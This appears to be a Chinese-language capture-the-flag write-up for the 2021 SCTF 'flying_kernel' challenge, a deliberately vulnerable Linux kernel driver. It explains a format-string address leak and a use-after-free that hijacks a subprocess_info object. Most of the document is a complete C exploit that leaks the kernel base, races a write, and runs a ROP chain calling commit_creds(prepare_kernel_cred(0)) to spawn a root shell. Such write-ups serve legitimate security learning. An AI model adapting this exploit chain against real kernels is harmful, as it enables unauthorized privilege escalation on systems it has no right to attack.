2021-SCTF-flying_kernel

2021-SCTF-flying_kernel

Created
Dec 23, 2021 04:04 AM
Tags
Linux Kernel Exploit
题目文件结构
~/Desktop/scft/user
❯ tree
.
├── boot.sh
├── bzImage
└── rootfs.img

0 directories, 3 files
提取文件结构:
mkdir fs
mv rootfs.img ./fs
cd ./fs
cpio -idmv < ./rootfs.img
 
Init文件内容如下所示,从Init文件中可以得知,挂载了一个驱动文件,普通用户不能查看/proc/kallsyms和使用dmesg命令,以及不能通过%p来泄露地址
#!/bin/sh

mkdir tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

insmod /flying.ko
chmod 666 /dev/seven
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

poweroff -d 240 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /sys
umount /tmp

poweroff -d 0  -f
查看flying.ko的存在的保护
➜  user checksec flying.ko
[*] '/Home/Desktop/scft/user/flying.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
➜  user
 
查看boot.sh启动脚本,
qemu-system-x86_64 \
    -m 128M \
    -kernel ~/sctf/bzImage \
    -initrd  ~/sctf/rootfs.img \
    -monitor /dev/null \
    -append "root=/dev/ram console=ttyS0 oops=panic panic=1 nosmap" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=2 \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic
尝试运行系统
notion image
可以发现开启了KaslrKPTI
 
审计flying.ko,程序流程很简单,seven_ioctl有三个选项
  • 0x5555:申请0x80大小的堆块
  • 0x6666:释放堆块,没有清零
  • 0x7777:输出堆块中的内容,存在格式化字符串漏洞
seven_write可以编辑堆块内容。
 
0x80的堆块在kmalloc-128中,可以利用subprocess_info结构体劫持程序流,在此结构偏移0x20处覆盖成target地址,当执行socket(22, AF_INET, 0)时就会触发执行
 
绕过KPTI需要给geshell函数添加一个信号,signal(SIGSEGV, getshell);
 
 
解题思路:
  1. 通过格式化字符串来泄露地址
  1. 通过UAF来劫持subprocess_info结构体,需要条件竞争
  1. 通过ROP来执行commit_creds(prepare_kernel_cred(0)),然后返回用户态执行shell即可提权到Root用户
 
exp:
#include <stdio.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/socket.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <signal.h>    
#define PATH "/dev/seven"
int fd;
size_t leak_addr,kernel_base,mov_esp_addr,pop_rdi,native_write_cr4_addr,swapgs,iretq,mov_rdi_rax,pop_rcx,mov_rdi_rax_je_pop_pop_ret,swapgs_restore;
void add(){
	ioctl(fd,0x5555,0x80);
	return;
}

void show(){
	ioctl(fd,0x7777,NULL);
	return;
}

void delete(){
	ioctl(fd,0x6666,NULL);
	return;
}

void edit(char *buf,int len){
	write(fd,buf,len);
	return;
}
int flag= 1;

void *target(){
	size_t buf[4];
	buf[0] = mov_esp_addr;
	buf[1] = mov_esp_addr;
	buf[2] = mov_esp_addr;
	buf[3] = mov_esp_addr;

	while(flag){
		edit(buf,0x20);
	}
}

size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

size_t prepare_kernel_cred_addr,commit_creds_addr;
void *get_root(){
    __asm__(
        "mov rdi, 0;"
        "mov rbx, prepare_kernel_cred_addr;"
        "call rbx;"
        "mov rdi, rax;"
        "mov rbx, commit_creds_addr;"
        "call rbx;"
    );
}
void getshell()
{
    if(getuid() == 0)
    {
		flag = 0;
        puts("Get root!!!");
        system("/bin/sh");
    }
    else
    {
        puts("[!] failed!");
    }
}

void payload(){
	unsigned long *rop;
	int i=0x1000/8;
	rop = mmap(0x83000000-0x1000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
	for (i= 0; i < 0x1000/8;)
		rop[i++] = 0x1234;//不填充的话该内存还是没有分配

	rop[i++]=pop_rdi;
	rop[i++]=0;
	rop[i++]=prepare_kernel_cred_addr;
	rop[i++] = pop_rcx;
	rop[i++]=0;
	rop[i++]=mov_rdi_rax;
	rop[i++]=commit_creds_addr;
	rop[i++]=swapgs;
	rop[i++]=iretq;
    rop[i++] = getshell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
}

int main()
{
	save_status();
	signal(SIGSEGV, getshell);//避免页切换时发生段错误
	void *ret=NULL;
	fd = open(PATH,O_RDWR);
	
	char buf[0x100];
	memcpy(&buf,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx",64);
	add();
	edit(&buf,0x80);
	show();
	show();
	scanf("%llx",&leak_addr);
	kernel_base = leak_addr-0x1f3ecd;
	mov_esp_addr = kernel_base + 0x4e8f36;
	pop_rdi = kernel_base + (0xffffffff810016e9-0xffffffff81000000);//0xffffffff810016e9: pop rdi; ret;
	native_write_cr4_addr = kernel_base + 0x2f950;
	prepare_kernel_cred_addr =kernel_base+ 0x8c780;
	commit_creds_addr =kernel_base+ 0x8c360;
	swapgs = kernel_base + (0xffffffff81c00f58-0xffffffff81000000);//0xffffffff81c00f58: swapgs; ret;
	iretq = kernel_base + (0xffffffff81024f92-0xffffffff81000000);//0xffffffff81024f92: iretq; ret;
	mov_rdi_rax = kernel_base + (0xffffffff81aed04b-0xffffffff81000000);//0xffffffff829f11f3: mov rdi, rax; rep movsd dword ptr [rdi], dword ptr [rsi]; ret;
	pop_rcx = kernel_base + (0xffffffff8101ed83-0xffffffff81000000);//0xffffffff8101ed83: pop rcx; ret;
	mov_rdi_rax_je_pop_pop_ret = kernel_base + (0xffffffff819b5764-0xffffffff81000000);
	swapgs_restore = kernel_base + (0xffffffff81c00e26 - 0xffffffff81000000);
	payload();
	printf("swapgs:%llx\n",swapgs);

	printf("kernel base:%llx\n",kernel_base);
	printf("mov_esp_addr:%llx\n",mov_esp_addr);
	printf("native_write_cr4_addr:%llx\n",mov_esp_addr);
	delete();
	pthread_t tid;
	pthread_create(&tid, NULL, target, NULL);
	sleep(0.5);
	socket(22,AF_INET,0);
	getchar();
//gcc exp.c -o exp --static -masm=intel -lpthread
}
从这道题学到很多细节的点,我都标记在exp里了。